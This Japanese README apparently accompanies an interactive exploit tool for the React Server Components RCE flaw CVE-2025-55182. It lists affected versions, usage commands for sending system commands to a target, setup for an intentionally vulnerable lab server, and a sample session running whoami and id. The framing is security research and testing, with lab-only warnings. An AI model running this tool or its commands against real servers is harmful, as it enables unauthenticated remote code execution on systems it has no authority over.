
CVE-2025-55182 React RCE テストプログラム
CVE-2025-55182 React RCE テストプログラム
このスクリプトは、React 19.x の React Server Components (RSC) に存在する 深刻なリモートコード実行 (RCE) 脆弱性 である CVE-2025-55182 を対象とした 脆弱性検証ツール です。
本ツールは、実際のサーバーで脆弱性が存在するかを判断し、オプションに応じて コマンドを実行 したり、ログを記録 したり、2段階 RCE 方式 (module#_load) でもテストできます。
⚠️ このツールは、閉じたテスト環境 で セキュリティ監査および脆弱性検証の目的 でのみ使用する必要があります。
| 項目 | 内容 |
|---|
| 脆弱性番号 | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| 脆弱性名 | React2Shell |
| 脆弱性タイプ | リモートコード実行 (RCE) – 認証不要 |
| 深刻度 (CVSS) | 10.0 (致命的) |
| 発見日 | 2025-11-29 (Lachlan Davidson) |
| 攻撃難易度 | 非常に低い (Log4Shell レベル) |
| 脆弱性説明 | Flight 逆シリアル化処理中に requireModule() 関数のブラケット記法を介してプロトタイプチェーン (constructor, __proto__) にアクセス可能になる構造的 RCE 脆弱性 |
| 製品/ツール | 脆弱バージョン | パッチ済みバージョン |
|---|---|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | 同上 (↑) | 同上 |
| react-server-dom-parcel | 同上 (↑) | 同上 |
| react-server-dom-turbopack | 同上 (↑) | 同上 |
| Next.js 14 | 14.3.0.canary.77 以降の一部バージョン | (非公式) 15.0.5 以上への切り替え推奨 |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| その他ツール | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin など | 各プロジェクトの RSC 依存関係パッチが必要 |
✅ RSC 機能を含むプロジェクトは、React とは別に
react-server-dom-*モジュールも必ず最新バージョンにアップグレードする必要があります。
CVE-2025-55182/
├── README.md # 全体概要とスキャナー使用法
├── DETECTION_RULES.md # 検出/ブロック用ルール集
├── 설명 및 탐지규칙.md # 韓国語検出ルール説明
├── cve_2025_55182_interactive.py # RCE 検証スキャナースクリプト
├── requirements.txt # スキャナー依存関係リスト
├── setup_vulnerable_env.sh # 脆弱環境一括インストールスクリプト
├── uninstall_vulnerable_env.sh # 脆弱環境整理/削除スクリプト
└── vulnerable-react-env/ # React2Shell 脆弱サーバー実習用コード
├── README.md # 実習環境の使い方
├── package.json # npm スクリプトと依存関係
├── server.js # 脆弱な Express バックエンド
├── public/
│ └── index.html # CDN ベースの React フロントエンド
└── .gitignore
✅ 脆弱サーバーで RCE が可能かインタラクティブ方式でテスト
✅ child_process#execSync (デフォルト) または module#_load 方式をサポート
✅ コマンド実行結果をログファイルに保存
✅ ユーザーが直接入力したシステムコマンドをサーバーに送信
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
基本 RCE テスト (execSync 方式)
child_process.execSync() を使用したコマンド実行python cve_2025_55182_interactive.py http://localhost:3000 --rce2段階 RCE テスト (module#_load 方式)
module#_load を介して実行python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadRSC ベース RCE テスト (--rce2 オプション)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2コマンド実行結果ログ保存
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.log全機能活用 (方式 + ログ)
moduleLoad 方式とログ保存を併用python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logペイロードデバッグ出力
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugvulnerable-react-env フォルダには、CVE-2025-55182 を再現できる 意図的に脆弱な React + Express サーバー が含まれています。
./setup_vulnerable_env.sh を実行すると、apt パッケージインストール → nvm/Node.js 20 インストール → npm install が一度に完了します。cd vulnerable-react-env && npm start または npm run dev でサーバーを起動します。npm run だけ入力するとスクリプトリストのみ出力されます。必ず npm start (または npm run start) のようにスクリプト名を指定してください。./uninstall_vulnerable_env.sh で node_modules、moduleLoad ペイロード、 (オプション) Node 20 および nvm を削除できます。ERR_MODULE_NOT_FOUND: Cannot find package 'express' などの依存関係エラーが出た場合は、cd vulnerable-react-env && npm install で node_modules をインストールした後、再度 npm start してください。sudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (デフォルトポート: 3000)http://localhost:3000 にアクセスし、フォームから _payload と cmd を送信vulnerable-react-env/README.md の curl 例で RCE フローを再現⚠️ 研究・教育目的以外の使用禁止。インターネットに公開しないでください。
💬 入力するシステムコマンド: whoami
✅ 応答コード: 200
📄 応答内容: {"success":true,"result":"www-data"}
💬 入力するシステムコマンド: id
✅ 応答コード: 200
📄 応答内容: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 入力するシステムコマンド: exit
👋 終了します。
❌ 本番環境では絶対に使用しないでください。
✅ このスクリプトはローカルテスト環境または隔離された VM でのみ使用してください。
🛠️ --method moduleLoad 方式は /tmp/evil.js に実際のファイルを作成します。
🧾 --log オプションを使用する場合、出力結果が平文で保存されるため、ファイルアクセスを制限してください。
🔐 すべてのリクエストは、脆弱なサーバーで実際の JavaScript コードが実行されることを確認します。
公式 CVE: CVE-2025-55182
Exploit 方式:
攻撃フロー:
このプロジェクトはセキュリティ研究、監査、テストの目的でのみ提供されており、
実際のシステムへの無断使用は違法です。
本ツールの使用によって生じたすべての法的責任は利用者自身にあります。